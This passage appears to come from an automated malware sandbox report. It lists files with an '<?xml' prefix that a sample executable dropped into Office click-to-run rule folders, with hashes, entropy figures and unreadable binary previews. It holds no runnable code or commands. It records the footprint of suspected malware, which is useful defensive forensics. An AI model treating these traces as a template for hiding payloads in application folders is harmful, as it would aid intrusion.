Preview:	<?xml>.+..6...j....I...m..Z.S..kO..bs.D.5..h.U.u.:!7..F..E.j...L......O.K.......2.....m5..!.p{._..I\|.K...`W.?#h_h1 ..~<qE..f.Q.O`..66x.01,. .!z6....L..\|F...p.E..6..i~..r..]...pj.,\|@-.-.T...m.Z".p.6..q.u@..Ti..[...K..l.&.'.I.l.^.E$..65}v.a.....Y.2A.._..P6... ...L./..9.v.FIH....dw..zT.....u..8$.\.OR...%j..5.d.7}....\i......]1.[...P.B..tRGkk_.}.7F.....E.......Qb...x..qkJ%.....-...0."..l..V.!Hq._"..].^.d....Ig......\....4i&J..._.......0"..M`..68.....^.Fx...4.....A..Y.7g...I@.f,..Q.-....3z..A..dL7..m...o...r.{..so.....p.L..;...\.>...C...>....D..~..AQ..6.X.....<J."........]...>L......G./U-.zA.T.{B.&J..$3.g...U.....G6y....RK..Sld...:.}<...an...\|.AM...Y~...f^o....E..C,.!....[z.c.A..l,......PZ...4.V..r. .}....D..:..}.31..d.^.d(.....1.v.tF..Ve3.......`....."....5..a...a#...sJ.*.c.......&.V}.Y..A`...T).0W.+4OF.!....T<.....C...-S..]..D.\.<.o.kFl..../............eX...:Q.[..GG.D.;..+.,..'.h."^..\|.k...X..hoz.P.R".C(.I..!.Q5...aA..gu.M.0.IGRs8]....$_....i..."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.878600814431655
Encrypted:	false
SSDEEP:	24:LnNV7AgHGUQEn0smI2F0xTh+VDTEXCcjBewCCUv9s4Pp1DHfc7SGRCQIObD:TNGX9svtxF+VDTXJCUlsUppU7SGIcD
MD5:	E0FD2E2530B0DF87AA2E500D68363060
SHA1:	370C35A4DA48E22419EA1194D206EFAFE77F9110
SHA-256:	A361EE8A981921C03E9522FAA2B74A9D8A4BB6B61F2461A42A19FA250F6B35FD
SHA-512:	DD24B4F244AB309D84DF6C87DDE738335267534C892ED278358A0101CDB706670493C0F4C07471B8366811760D4D7C967E561B6D2E0DAF5A71FAF4F087B426B2
Malicious:	false
Preview:	<?xml2.g.V.s.d.(......F]..aRYUJ..#oW.0.O.....pu.Y....O.g...tL..m6..4H.... .naX.......A6jI.u\|G..N...;...q.Y....q.WS./....F.I..N^(?M..Tu'0...w.So.."...l..dym....x#[....k.....t.....Q..(...~c.... ..r..Gib..UNr...iw. ..(...y.U#.I.^Y;....k.-\|.....r.vt....8...@#{j....f&..c.T.?_:k...!.0....[.o.r..EKz.-.rZx....o.8y.v..J..1..Sx.&=:}.H=^5......&...M:....%..T.e.u.2Dn.@...8......C.a.)oDB.....3..Z....T."`Wq..7.......L.fa/..\.y,V*..s,$\W....).o.No.}.:..G..(.^U.uYP..a.J.....A..%...............A.....?q...-.JX[......[}..8%.&.:4..B..ZX.2......#....hd.....@.x.V..&..?.`...b.K`..a.T)..f@..k..f..eb..."..........c.t:..;.go...0N.w.t3\...j. .K....Y7>XZ.T.g.D.I..N..t.(.s\|......3.mB.....g)...3....?..^..$M."...s..h..:...5..X..#.."......[.V.!.9.vatusy.@.....@....\|....)0p..1....x...^...!At\|....{i.-..f.PD~].02...&.........r<.H=@KI..r...Q'd.YH.....l.U....g.L...}..w.../..r.7.G......TVpE.~......G.z..x.)\.I.Rm...YPE....]Z...0...X.p..G.Cb...@T`+..u..._.....-...M>[U....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8910638412207685
Encrypted:	false
SSDEEP:	48:fgwfizAupGKB2al7kbJ3mRLgb7qaYmLrsD:FfizEKBjl4bJ267qaYuI
MD5:	A716E20BDE6FCADE70F5BAD012564B5B
SHA1:	4095C07E5C3DFB1021F7650132B7EB012F45C927
SHA-256:	72E8262E6F52E6FFB01690BBFC9E7A1C75EB041B1D78C6BBFCD0C52CEA2D95C2
SHA-512:	795897AC277AA99760FA1AA00BF9EAA92C242BF039E2972AD1F888A992C30BBFC8189956595700A6C17BDC8CEABF91917672641DAF1A00E6F1DBD7DD409A839E
Malicious:	false
Preview:	<?xml.W......Z.....P....h.J~..c......F.......h..wvP5....]Rl>v.y..5E.o.....Z..7..3.....+.!.........L.....>..M.._.]J..y.Z..X..!X..Gb-.9...7F>J.)...}...I`..` e..`W.C.Z..?..:.a...b. ..w..N.\|.y.5C...0.......\|....\..\..q..3..^.....;N...5Fh.w...\|..W.m.}....<..x...odA..7\.O..}....pw.}....-m>.S.#M......X......9g.h^^D.....q.M.."3......j.=....>........dC.V.!Sp...~_....'.G.Z..6Rj...$yg0.DvO....r.:%.S;.f.....)J..(.?k.9...VT-..\2.....w.bA.k.G.k...rN.e3...0k....s.&..YM..r)...0..} ..Y...+gP.G....!.O.......Eq._<'l.N:...J.u.)..d..d.\|.F..N1./..C.I....H.Uf...+..w.x..78...........o..u.r.D1.-.......4...Op..u..P,ZE5.8.L..?.'M.B.........+.To. -.).\......o!V.o..C$Yz.q.....f.Uv,..H...[.=.$..!33....7.&...m.A.6......'VBy/...9&..J8.0...v.H...O.... ..+p. h..B......r..n...-.%2.._.._t}M,...z.pHl2!...]4./...$.#.~...CN..H!Ov.>`...w.....m.4.X.8.........LO....GT.I>....`.5n.0yl.2..s..d.T.(TQ..OCy..)....lQ...1=....#.T..:..Y.@&.F.+o..'..*D.Ev...+..2...x......;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.869395286618792
Encrypted:	false
SSDEEP:	48:TOWAJOfbuq5Fbu8XIEfEv7GxobRNqpTYXD:FAsfbuWFbu8XIEf677lqU
MD5:	B781504BFD8C6D6BDD1CEB272B21C0E8
SHA1:	47FE2E91C235820F54F63B25F4DE8E696567EA48
SHA-256:	22F55D4BD09E402C07CBDAB2696FAAFBC4981BC26346B9A500D20BEBF9D145EA
SHA-512:	BE024970F9E1A87C40AAD1E8E894872C354ACF459E26D4EED8572CB6F6EF0D5E34F345B1B87A9BB924AA38DE8C26FE0517BD71981056709548DD86ACC11F6D9E
Malicious:	false
Preview:	<?xml...@.:Fk.e...;{...b... ..t..M..eH.iJV.H.......).....X.Q....C.c...w..!.;....."....w....;z..I.......:......@zT....8..)...1e+._....IL..`X[..-HV.4.x...9.C....P....Np>.xBH..@....&`..o.\I.3..;...l..S{...]........*Uq......#.1NW$.%V..P.Q...[...f...3.3.G...I..A.....H]`..X&...\|~....d..s....../3.J._\.4o.w.c.@.".+54.R.......2.....$2G.r.b.I........e...ia.K..9..N.t.._.....VR.t 5P.5......... ..c......H_..I....#7.R(P_..i:..qT.....B..."..)'.......p1Ce._o.]...\|.{E)...>.x.P...??.....c...v..X....U. ...]`.....s..I.A-.I}EM.C....o.6.s..(%C%.i~.Q..E.}G...B....4.+..$4...:.c..l.../.F..%...Xe.1.....^...i..^HA.vJ...T.l.Y:.. ..z.h..3.sY..=y>.......\|....B.............7.B....\|...E.[:..(....lH...tO..H..$).KO.tu......S....9..6.,b....,.....W...{..).....kI....._f."<n";9....u......s...K...pi...Q0.-,....8..0.M;..........u...].....I........^..7...........Y....W....[.r...j.]....ZWRbg...>n!=I..~....J@.PQ..s7}..~R{O6.....b.T....}..`:...\&.!.......\|..)B.p.U.09G=%..9....&..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.885467967574752
Encrypted:	false
SSDEEP:	24:lq8ZnL7IG1fZ5oa1RM6+/2qCa5YHWkjacAbZsnfVWFHHpRmY9lSc5K9NjqcObD:YK02ZV+eq5Aj4ZsnfggQUjqfD
MD5:	8D1730D7C0295E81E645672B8F548B23
SHA1:	B79E4D1A4576A5D4F5980AB267533CF5A9E16330
SHA-256:	D717874779E15B2F8D2070E03E6BBA6314EE37A54EEFF489EC86515F6AAC3A93
SHA-512:	462446B21EC2193FC6AF8302B48D119FEB7CD11C3089195A47B3A96750D7B445D3C88DF2B0788E982FFC3C817AF9EA64331D2A691A823C9521462AF93D596454
Malicious:	false
Preview:	<?xml8...........>n.........v. $(.N.m........Q..H..%..&..f.....<.{_.V..5..._ 5M=....R8....5..&;.1d..[t0Dl1....h.......t...'5.[s.o..RgD>...f....BmP..WK"..=x...@.8.60e.......jV.r.......J......K....#._.z.........Ns.6...........R.S...{.,.u......#X.^y..~..dS.p=.9`.sa..e7....o..Q..9b.X..j.J..h...a.k.f9.`.a...a....[..n7...m-........P..K.....o...=...$5......r.c.<.3\|.9w/..N.....L...............GF...o.W.)N...{...b.,.6.h.u...n.2.o.......O....6.-........8O.?.2o8..h....7.h...f.)...op..&....}.....b..6[.U..A..v.....g...{[e.5@.JU7%.....".+..t$.(Xe.Lj..P.Q..+._.x....h...5....\|......8_{...R...=.'.....rn-.S....5...Vg.C.R.B..6.Sn.\....\.>....D..c...].#.>.......t...J...6.......$.:.....P..=i.w.?.7....9..?.E.R......>L.M.N.2...z?.`{.?..>h....E.@.P!>.m&...T.J.rT....],....l.....2@\|K.W..E..F)...Bu1..52......b..@..G.".6.....0.v.....b......2.A.(..+.h.$$....d.....Y........\|.s>.\|...w..e...Ni7L.VY6....H....#<..`.0.E/. .....I.....4.Y0........L.i@..&....X..........X.%GM$...$.P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8628323609230915
Encrypted:	false
SSDEEP:	48:Uvgb2MxTdiqO60GvxQUa9X3SV9d0bZTKJE1D:UYb2KO6RES7SbZT4EN
MD5:	3A42A00561BCCBFEF791C3810DC85900
SHA1:	898A31C9915F86826B8ECC1AFB6B4E5EC6B40B9C
SHA-256:	0C3F17F8A0D14B589EF817A4DCE896EF553DE2DCD32EDE357BA71A97871A7075
SHA-512:	5C8CCEBB1E2DEC9FD01607AC251BE97BF84A9E911A85BB4F6F171C8EA2273B428A1C99763C63775DE640EE65820D22419DF70F615956CA178414D3899AEC7F6B
Malicious:	false
Preview:	<?xml..x.`.v@w...3j...y`n...O.n.hu0.o{..-...O.#U.Sj/<..\|.."..z....3.7s.._.`.y.KX..PD.....H......E.(esg.....@?..[..$qd.Y>MY....8...(.h8T..Qd.\dP?......Hi.<.jO..$...Uc..:.-.WN..>2...L`.Qv....;......-.^...2:8.n.>.^....rE....r^9..i...r..K.W.[.....'......._..O...^4`..vm. ..TR.UT_.K[......sz....1..W....k.q.+....2.........h.kU,`;'12.f..?.xI..@...".^.[.{.m...!..,./9.g...P'.:S.A.>.....1b..}..6..0..ZW.X.s.......)J"..\....a..".1o.O.4..m..z:2plh.0.Y...%....[..V.Q..."....u%....;\...^...^.ug..3y..6..P."H.....i:...........v..2sb...?a......=.-.{.k.O..k....,..m....b...d.%..J...=.p.d....p.!p..v.L...J..a.\|..T....+..<........jh...8....Q0.i}.c.,.4.w8.Q.N4.W(}.Po....._U.........~.C.]GA..qS.]G..S.X.K9} R.>i..(.....0.1w.1.h.S..b.c$.......g._.C..M...N..k.........TN.......s..6.......(....T.?6..z'.z5h2;zg.R..gh.WQi....(.........2.V...<....!t.NO..O.5_5.....5...p......h...l....[..ul.[.r[xv;.*.)..p...4..O.r\|.,Xd.-.....S....A..O......I......%.j.TxU...8-..P...T....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.895566648551659
Encrypted:	false
SSDEEP:	48:JdXwNUEPam7OkcCEQ7X5qxaxGNcyU1/vxgD:JdguEPaAcCNc8xGuyIp8
MD5:	7F25C5CC96630208525D622B2FF93D82
SHA1:	4F3C9ED4DE942DCBA71FDF38937C835D32F2FF57
SHA-256:	62E3CD608C5E1CAE7659879E37F4F2AF2F89485FB7F9D2824C46B764E1C661B4
SHA-512:	4081051FFC7C7868E583C23FAF2A7FB624661264C1F01389C033E0334DF27B63D775C55C7422F5E45E153DF72E23A047BFBC428C8DF27068491FD838C3E6F453
Malicious:	false
Preview:	<?xml).dc.FXsIh7.. 2BLk..U..v..._...,$..E.v...w....]........T7.NkY.....B.E.....j......e..X2.4h...n!...R7..e.d.....uM...I..a.X..C..\|`.....&.:...V..b@.....jas.s..."....2$B=...Q.~..2.)<&.0..x....5.vY.wy..?.c.....zH-......e..} ...dh........^5...y.I..=(_.8.J.<O....6........r..w.W+Vw3S.U..9w...1.......dn...}W.......r.1T.e....t)R.=>z........!9yjk...k.0.....s..:w......a.\|5H.....(...$..v\...9:ja.......S..l#........0.(LHD.!.......1......=......zO..sa..=..6.{.....m...D..Sx.Ac.$..m<....:b...A....9.3....3y.a.p..q..1~e.3..L.Z. .v.H..T`Nj\A.aiR.....VQ%...........6l;.z..d...,.g..F...h...r.v..z.......Zdy..H......F[...>r:85J..d+\..T.%..\b'..3dzc..%^.....4d#.@...Y3.si-.-..n...'..EC...qIpHd.H\|..z9......Z...E.(...u..C..wW...\>..... ...."...4.U=....]...:.....Q......@..+...0z.D.z..A0..K.....t....6..z.F.hD...'h......1..."..lJ.P.,.3...'..&I........N.?.p.,.r..xJ...Rx.R..f.m.....)....[.v.C.'.........2.i@.8..s+b..n.}.U.."x..QC....C[...x._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.880159287755263
Encrypted:	false
SSDEEP:	48:XFJduzkAAoT+PXiAsES//9sicFGzWJTC3TYSD:1ayoCPyFDH9szFGzWxh6
MD5:	F61F481AE5896D4573035210B711194A
SHA1:	318B836F1448F07F1A6532CF4DCE182127DCC973
SHA-256:	381B0D2EAF250D199A151A369904B3653CD88D67FF58CB025250EAC0ED9E898A
SHA-512:	B3C93E96AA62449CFD071473944822B9F14EA741E226E69F63F0D9DA79B593CC2EE804E804994249B03CFB4BA5EB594C61BC586E910777A73398E7436DBF18AA
Malicious:	false
Preview:	<?xmlt"......kc.4...e,.ar.K^.A".Vc..c...@.T.eO\|].e...]=...._........J...[.v.......>_...7w.<.8..I.)r....?...1...E."=.......1F...4.2O=..W9.x...X..g..y.g.A..O3../;"6..r..]i$..J..-i..k2.R(...."w.....vbC....F.....D.....M.{\.....<...W..R....xUS.$..t."...s]r%V.K.1@-..fq...8..J%.j.X..EO<..@..._H..$..L.L..............@.\|..Zn..b..18....f.....[.o[..$.S.tj.j.......E.w...C.....0.wq.s_..&'...N.#.<g...9\.p..k...........dg.....V\|...D..xz...6#.I..UF.j....8Bd../....Tp..Ti{....:\...t:..L...p-r......E.1.......[..(.lP....A.?..`..U .......3M#X.\|.cj..+.#....=^..K...\U..(.Zm..5O...Z.[..Tr..F...)...x.}U..i...i%..[.f`>a...x.$.....B/[.].....O..t.uM..ILv.>.(... ..f.,..`I.^.b...l%-..<.V.^3V.-.d-.t.q..B.s..........9z2!..j.}gRr...r...ph.3..s...dU.*...1.e.....:M..e............=.vDq.[+.. ..p..o.b.1.(G........q.ZF..7MY.w1...lo.%.u..o.3f=...L.Z7...R..b.M.]....01......P.0..F..WK,...C..? ....>G.U.....u.&.$@..4\|.d..9.>.J.\.Z1A.....&"..&...6..C-...:..?.......6x........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8585563217463035
Encrypted:	false
SSDEEP:	48:V6nzRGp6OhYI31WRZSBkfwJ107lH/5IjtD:ViRSp31WRZTfk1SH/sV
MD5:	6B40E2A549D7357DF1B8AD137936D3E8
SHA1:	E2BCF642775BFD3F163CE7324B04FDBB46CCF931
SHA-256:	9729F4006CDC39922013A9E8EE33BFECEE73347D249E23F64296732924096B93
SHA-512:	BB909005812FFF3BF145E2D4A610E17CEFC7D029A35C49B2C40EF5AB8AFCFC1BDC3F4B264CF8A17FD5F6A09F6E8FF700A6CE22E090112067168D52F39C379EFD
Malicious:	false
Preview:	<?xml.6..\....../.L/...o8...(.:o..~~@..I4t`....ES..g........A....".] .}./.w.m..Q>.FO.).....WLf.f...w...~p,..S.......JLhm&o.b[z..Qu.+n3.....z.5N..B30f".3...X..Q..Q.TU..0.#..).$......A`..O.Qh<b(.X..........\<..a...wc_.$..m.O1N...g....IF.]...-q.o..L.d...b. V..p.........p.......y..Z..q4)Q..G.ml}&.:8_AY...ZDo..M.N2B..~..&...~%....3........vx.)....M".]...e.qX...w..,.;(.{..B5..m{.s1. ......."..F.l..En\|...[....\|.(~...x..c......'..4O.e...H........].p..Q=...y8..D.B.o)*?.s...CL..'.A?fWz2....8.o...&..-B.{.iL...9?A9...+.3.`..ni.).FW.`5_.3637.......)....t&.K.-.\W..1.....L.R>-.q1.s.d".U .8N.Q.......3l.W.@....{wKg..}.....-.<...r2i.sa..[.x..y..i/.L.pB.#L..V.....`.$p..?_..Nb......O.N`b....N.6'h&.(..../.f.3.]...f.%..'~?.UL.w...I.....0..j..V7./.~....[..$5......n4.~..O_;..v....?...@..\|].T![Tq....Fe.B..d..,.H_..7x...N."..~H.f.OgT.b. ........N....hyo..G....m!...C#.......M.%#.'...W...o..s4..>i.....bo2)b..2.5.h#Q......"....p.........C......Y..9..i..;6V>.h....2m.\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.874473299869064
Encrypted:	false
SSDEEP:	24:DreeD6J4pVc0uGNyopYHiTKKTvyrl0c1QaAqY9E1USBBx5iSmf/eQu5uhzliObD:Drej+m8wiOW6LZl1USPXdmu7uh5FD
MD5:	959D41A0AB73EBB7B79D123E072399CB
SHA1:	91360B50C7F074C3F339BE95C4B93BE362922AF7
SHA-256:	9F7E73052F79789602C40A87AA9F2FF8F326AB771E0487991C8042C457F7C625
SHA-512:	48AD52B96EB0BA29675EEC5DC582BFFC7D2E5B5A1EDFD29428F4B46ABE52914163B02E5E342439B934386435DC4E2B08C8513198960B63039CED3A83EE2C3082
Malicious:	false
Preview:	<?xml~./.......:m.G.}...Y..]SQ.O....X.`.D..y..Qr+...WR\|[......u......j7..'. ./.$-wi.9..=..X.......i..V.}....q.R)...k......m`..ST.E....j.X....$...iVF.L..i.&.:.....oZ..Qf....+..<.W14.@V......x.%...\.)G.Y.M....sx.%.K..Z]u%......`-g..R..l+..G..9.I....P...W.d".~.......W.OF.s..s....0#S..H.D.kB....$.<'...,w...Q.d.F...t......1..i.V.~KecM.ntdz.[..?....:.Y.S.-....T.\|.<...{....7\|,..<...]z..Y...yg...V4..6....[...n...XM.X1...<....l\.6...)^e..$+6.h..u.9.H.O..j..>..e.dj...+.w,3...e. R N...d.@....G...#.3.....P_.7.~.3.<..p...`l...q.J<U.6?5..@...G....{.6......7b..A.=...$....\},.P.&_....U.b..B.@..B..@......s..5...%&...[...{-..3..Z..mm...........[p[a{..y.<..~.. .(.V}~.g.%k......^.....w._uw..<n....`..V}....{!.G...B.............u..#.@k.._.(.<2.S..x...]._...=....5mbf..I. .d..w.......cb7..$.H......_..J.%n..`...5%..%...s.....>1...:...fY8/.4......I....OG..z.w./I..&=e.......F.. ..R..M}.DU;.C."..c..QY..MC%zgf.'"+......'.w...y..%-.\|Y.....@.".&.~.&M..E..w.lZ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.876087962083413
Encrypted:	false
SSDEEP:	48:qdo6e2yQ2N767mgEMNpPCUgxZ84wD0JG1xPN6D:XT9ctEiPCUWZdyxVS
MD5:	D3C8790651B8BB4BC0999084BB069877
SHA1:	36487AF60990BD0DE82A4A33BB03BAAC192D694D
SHA-256:	84A9E993DC9D5474D167A8295342C181CC5B51B8DF1D066034DC9A1BF107250A
SHA-512:	DA0F1C5E816600BF4AA5F027290E48A81A9C1CAAE0AD95EF4ADCE7B9317BFB60DBEA72D08C693DAA9823CE24914085E23880D8778D4FA2A97A95BEEC03EFCA9A
Malicious:	false
Preview:	<?xml.k..#..?.X.k.uK[..ei.!..0v.b...Q.......Q0..".2....v.[z..C....................&.4.J.....v..:..V.t...X....v$.....d.j..W.....Z-N7.v..8DZ.p..g.#=.).....Y....EX..%.>...M.g....Z`..i._.....l..&..K:....V..S}IZ~.....O.p....D2Wz......\|.g..:w.r.o]r\..pO.b..s......._7...4r...uX.6...m..Y..d.K.2.....{i$#T=E.....K...&i..p..ND....-..\.&]\..s...'?0.\|....-...Y.6i.?.....&M....y.."....L.B.......,....wvC...........:.Z.....e:.. <...i'?..gT.......\........>....2..+8.!..,.....}S.=#W".gd.B....5{ [....g2.5+...1...>......L.4.@.E:...<+y..7.._7...w[.wg....}k.d.C..8......I..&..4.t..........0.7...o..`.N..\|..C......V2,./....>.7.........h....n....x.vB...7(.J...../...g7.Y...c.XD..I.o......j...A>....Y...N}Ukf..q...dE...`z...}O..0S..e.I...Y.I...^..Rg/...._9ct..Rsb...5Dv...t..Z0..V...BQ..Q@.c\|\|...>..6.R.68=.1..4p....G.._.8.t2u.a.p..d.?...o.#.'6..>...kVg..2.."n....L#q?..Q..9.h.........-...i3...5v.t?..X.4.^.j(........]Z.I...w.;...M..._\.ZrcK.~q%...q...i...?.^_X.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.883370051283061
Encrypted:	false
SSDEEP:	48:2p/ZIFizA+mH3JndYfLPDaSoRA7EhUKU/xvD:2n4izgJSfLP+LRQEzUJ
MD5:	52855FF53BA6836F51A905017904C12C
SHA1:	302182A4A05AA7AE164D5F5BAE030B88E5534CE8
SHA-256:	F7D5BCC6CCCC08DD9492774DB1127DDFF47FD7B842826464F4CBDC01C18675BC
SHA-512:	88E4473BFD1954E6E827E15F760D6D7A3B3645D5054C63EF6761C0F1184FCE81F22B24F0B4BE720AFE0AEC9CC462CD54A62323B62C23CF0927FF777A6C582658
Malicious:	false
Preview:	<?xml.>x.......`..n..../4..?S..C....z.....S=.e..b.....`.G....S.[..]ky....a...../..U...-....V...!.L\.(..FE.$.xtkM"T.8J9..<...&. K.....}n..(~./....j6../.M.l\.3"A...o.d.y.V...O.ro.WM...`B.N...1D..E.e:>.J..............?"..aH.V.1C&...t7v..k..g !..Q.j.7...8k.......Fv..6a..+.i..`c.Z...w.^j^.....Z{.2..6g...E...S.!.....{.l\...^....P.h...u......I...E....V...HN.UV.~.j..s...Y...s........W" ...7(Q-..>..^..c.?....Ss.O.........'....;....T...f.:..6.<!H..h.n.0...E.;JB,j..!..j`F].......+...P.w..........7....[....s...d...UO.WN....c.eJnO.{l.zQ].V.. ..{.....Y6p.u..u."F.V.V.....-..t_P.c%.....MUN..]o.....b.#\X...........'.&........n.-...M.WR0]......Y..1.L.J..\.V.)U.....vp./......I.}..!.E&..m....a'..u.n~...f......s..X..(.5.....16......1hR...X..r6..?...r....(........#0.X8,.......(..5.....Su!.[.T3..S...7.-..t2f%...5...+.9..V..#.k..R~.Q.F.V..x..O.........nD...L..-.*..j..Y...z..nP..f..p..P2K.a..gD......._.G..;....uG.z....{...:<...0....;.t..b.....i_m,$.-.^.,;...dN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.88713688192377
Encrypted:	false
SSDEEP:	24:d8538U0pL28zglrwR7QIXdQHnfXPMz6B3GmWNbFdnSWZPxvgF7XY7nuvUqZQObD:d2sxpL2Dl0RkwAfPMG347SWhxuMqZDD
MD5:	BBFCE95C3B88E671A1D6FA2EAFB975A8
SHA1:	7EACA027941D91E76FA8CB09ED512C25F24A9D53
SHA-256:	186EE921BF8DF7305D05443C5C85EF39A33DB05513B1DDEFD284D20BC1781DF6
SHA-512:	50D78BDADA671CB0483BB3CA66B373FB0B5016EFF5C6803A1A3B1476E9B160DAD7FA96F6C9B024821779826EE9BBD3075FA04B940BEA8C42AA6365188DEF2CE7
Malicious:	false
Preview:	<?xml.YU/.?...x{LZ..y.3...'B..l.Uz.O.:]j..P..Or.1s'......#.(..h]..PUc......?......B..f.....[..".,`.....$.\}7..r...... ...#(A.EVA.d.;X..^S..;13..{m.Z^.f.x.,.l.oKZ...CW.]...:H+s...M..E.m..S.z..b...u.............W:P.m.b....%....`.....L^...Pn.......>...N.8.E.=.......f..i.....x....:"@.Qv.,.u5[fn..;...AN.....U...B...w..B.JvZ..H.....@.)...G#...;....PrC_..b.!LRp%.EXC..V.U1....[P.p.\.....F.eZ.b(n..~.TQ.)K....w`}.[..?..NbO[..]@.t..KB.{.s.1..)S.@.b.4.+.j.Q.@..m.K^+..<]%.'.Uk.m..]..A... >jw.Z.K.QsDw.(.....T.$@v.........M..,.I.0.9.7.X.../h)..gg.!...z.....\|........._t..z..............7.m......h..x..lrM...d.r........%.2...E.$Z.....W.Z..A...1...l.H@t.G.+f.\. ..4T;."YFY.....Bpt}.....E..c...0..a..v....*._.S.B..Tp.4...a.,@...G.ul&...N......Z.-B.9.Z..j^....Cz,3..[....xe....s.....1.B.W..2Rf..L.\|.y9\7..h6z.......(O%V@.]xC....#.1Y..U\|X...f<.....t:WX...My....z..r2?...."...x7T_N.$...!...7.H.c....K..4~.H...B.l. .OP..!...wv../...[.H`ra.a5OG...n.M-.."..:A'g..P...X.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.875666615582435
Encrypted:	false
SSDEEP:	24:SYnzwaQ3A/tN4byCBe3N3Fqv7XHSVXCrQIwl6QHuwpZQsdc2zvEpSAgQTcQ3FWnG:SuwdQct43BFUH8XCE6P4dH+SbipD
MD5:	A9AE837EA8622CE7AFA0023F63106BFD
SHA1:	C120332C5F524C03780BC24FC8729449794BF421
SHA-256:	C993E3A9D237337CAAB38EEB1F4B3380878342E5B746B5C13102B8AD4420D334
SHA-512:	9ABF902BE08C00D648141A38DE955625216865ABA440B71C4C52AF392ED40CC554E357B47A2C22ADA5760083C8D13DBC191F0D47D537CA112A0476BA7BC21F38
Malicious:	false
Preview:	<?xml....m;...,q.(.&m.?.#U.;jcp....w.f.....ck.[b.l..J...!..M....q@(..I;D....G.bH....2~,.;Dw0.d.2..B3....{..e.Y'C.M..$p2A..........P=..5....,..nnHq{t....9......[.b.Q...\|.6MJ.^.....ZS..<....."l........s..6..\|...z..........>U.6C....n..^.#.5..y..o......)j..^.....i5...Z...4.Hr.a.q.l.If...".Z..$....V..n{S..V.$.~....LWl..p}r...\|5......Wg.>.{..lt<C....\.....%...Q$.....d..N.t.u.5l..bc:....k...>$+........X..v...Ah.x.....G....@x..s> ...Vf..vy.\|..l.*..o...Mb..&3g.&!A..J......Gr..;..8.}..<.e...7;..<.V.f..k...?./..S0 -h..j/_b..C!.^....+....Z3........dX..nn..8[.,.F..rC...H..K$#.u....fj..!...K...&R...<..C.H.....\|eRYj...rw...s."\wLS:..Qt1I...-....bz.Ry\.N0S..n......E.AJ.E.\...\Y..Q.........7....bR...[.w3......Bf.Tyz8{.C.._l..x.]cu.&:.A..E.e..2k8'...W^......^L....i.o{.#.......M.jx...4g.%...B...7..w.#E...^5s.'d#..}m.K2.4..(aJ.=.5u.C.dy....t..+\.......l?4...G..[....E3..$z.t.....j#.0`s..%....K.J.......:....1.[8u....NHs.6..J....O.v..Y.a...9V...2.3En._cfy..{.j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.883248915631165
Encrypted:	false
SSDEEP:	24:g11yf/zmr9Od65q6ktcNpZnN1buEoFX8Meq97aEvX7Mo54QzWY5i/F5DB1dyqaWl:3zmgh6tXvuF1n97Eq4DV7EKvVD
MD5:	B242ECADB5B0C7CFB85E6A82689B3398
SHA1:	681D2A7F8D73EF54491971FF71E54FE65EDE692E
SHA-256:	7D6C6443DA72EC5BC27C9FB468D33A1CC5E94EEFC162C091FD807C7A306EBB3E
SHA-512:	20B2CCA96102E3E8A37B7F48A2FB4FCA8430B3B7A3051A77E52BA6FF494ECC13E9B486DCB9363D8A54413094B4694536F9B3D3F962CED4146EA94BDE9CD68CFE
Malicious:	false
